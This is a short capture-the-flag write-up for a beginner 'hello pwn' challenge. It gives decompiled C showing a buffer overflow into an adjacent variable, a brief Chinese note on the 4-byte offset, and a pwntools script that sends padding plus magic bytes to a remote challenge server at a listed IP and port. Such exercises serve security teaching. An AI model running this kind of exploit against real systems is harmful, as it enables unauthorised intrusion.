

## hello pwn

```
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     alarm(0x3Cu);
4     setbuf(stdout, 0LL);
5     puts("~~ welcome to ctf ~~");
6     puts("lets get helloworld for bof");
7     read(0, &unk_601068, 0x10uLL);
8     if ( dword_60106C == 1853186401 )
9         sub_400686();
10    return 0LL;
11 }
```

由逆向可知两个变量地址相差4，和上题一样覆盖就好

```
from pwn import *

# p = process("./hello_pwn")
p = remote("111.198.29.45", 48832)

p.recvuntil("lets get helloworld for bof\n")
p.sendline("a" * 4 + "\x61\x61\x75\x6e")
p.interactive()
```